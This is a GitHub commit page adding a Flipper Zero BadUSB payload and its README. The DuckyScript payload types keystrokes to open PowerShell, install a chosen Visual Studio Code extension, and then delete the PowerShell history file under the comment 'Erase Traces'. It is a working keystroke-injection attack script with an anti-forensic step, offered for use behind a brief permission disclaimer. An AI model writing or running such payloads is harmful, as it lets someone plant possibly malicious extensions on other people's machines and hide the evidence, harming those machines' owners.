-
-
Notifications
You must be signed in to change notification settings - Fork 90
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This script automates the installation of an official Visual Studio Code extension on Windows 10/11 systems. The extension to be installed is specified via the `publisher.extensionName` parameter. The script uses passive operating system detection to determine if the system is running Windows, and proceeds with the extension installation accordingly.
- Loading branch information
1 parent
29becaf
commit 2aaed62
Showing
4 changed files
with
93 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
64 changes: 64 additions & 0 deletions
64
Windows/Execution/Install_Official_VSCode_Extension/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
# Install Official VSCode Extension | ||
|
||
[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Faleff-github%2Fmy-flipper-shits&count_bg=%233C3C3C&title_bg=%233C3C3C&icon=linux.svg&icon_color=%23FFFFFF&title=views&edge_flat=false)](https://github.com/aleff-github/my-flipper-shits) | ||
|
||
**Category**: Execution | ||
|
||
<div align=center> | ||
|
||
<img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/logo-repository-2_0.gif" width="600" /><br><img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/DISCLAIMER.png" width="600" /> | ||
|
||
</div> | ||
|
||
This script automates the installation of an official Visual Studio Code extension on Windows 10/11 systems. The extension to be installed is specified via the `publisher.extensionName` parameter. The script uses passive operating system detection to determine if the system is running Windows, and proceeds with the extension installation accordingly. | ||
|
||
## First Of All! | ||
|
||
Installing Arbotrary Visual Studio Code (VSCode) extensions can pose cybersecurity risks because extensions, often developed by third parties, have access to critical functionalities of the editor and the operating system. A malicious extension could execute harmful code, access local files, or exfiltrate sensitive data without the user's knowledge. Additionally, if extensions are not from trusted sources or are not regularly updated, they may contain vulnerabilities that attackers can exploit, compromising the security of both the system and the entire development environment. | ||
|
||
So... | ||
- Before doing these tests make sure you have full permission from the owner of the computer in case it is not you. | ||
- Always check the source and source code before doing this | ||
- If even one line of code is not clear to you, you should not proceed at all because it takes only a little to do damage. | ||
|
||
## Features | ||
|
||
- **VSCode Extension Installation:** It uses the `code --install-extension` command to install the specified VSCode extension. | ||
- **Windows 10/11 Compatibility:** Designed to work on Windows 10 and 11. | ||
- **PowerShell History Cleanup:** After installation, the PowerShell history is cleared. | ||
|
||
## Usage | ||
|
||
### Required Parameter | ||
|
||
- **#EXTENSION**: This parameter represents the ID of the VSCode extension you wish to install. The ID should follow the format `publisher.extensionName` (e.g., `Aleff.duckyscriptcookbook`). | ||
|
||
## Requirements | ||
|
||
- **Operating System**: Windows 10 or 11 | ||
- **PowerShell** | ||
- **Visual Studio Code** | ||
- **Internet** | ||
- **Permissions to execute commands in PowerShell** | ||
|
||
## Credits | ||
|
||
<h2 align="center"> Aleff :octocat: </h2> | ||
<div align=center> | ||
<table> | ||
<tr> | ||
<td align="center" width="96"> | ||
<a href="https://github.com/aleff-github"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Github | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Linkedin | ||
</td> | ||
</tr> | ||
</table> | ||
</div> |
25 changes: 25 additions & 0 deletions
25
Windows/Execution/Install_Official_VSCode_Extension/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
REM ##################################################### | ||
REM # # | ||
REM # Title : Install Official VSCode Extension # | ||
REM # Author : Aleff # | ||
REM # Version : 1.0 # | ||
REM # Category : Execution # | ||
REM # Target : Windows 10/11 # | ||
REM # # | ||
REM ##################################################### | ||
|
||
DELAY 2000 | ||
GUI r | ||
DELAY 1000 | ||
STRING PowerShell | ||
ENTER | ||
DELAY 1000 | ||
|
||
STRING code --install-extension | ||
|
||
REM By default the DuckyScript Cookbook extension will be installed but if you want to change it just enter publisher.extensionName instead of Aleff.duckyscriptcookbook | ||
STRING Aleff.duckyscriptcookbook | ||
|
||
REM Erase Traces | ||
STRING; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit | ||
ENTER |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters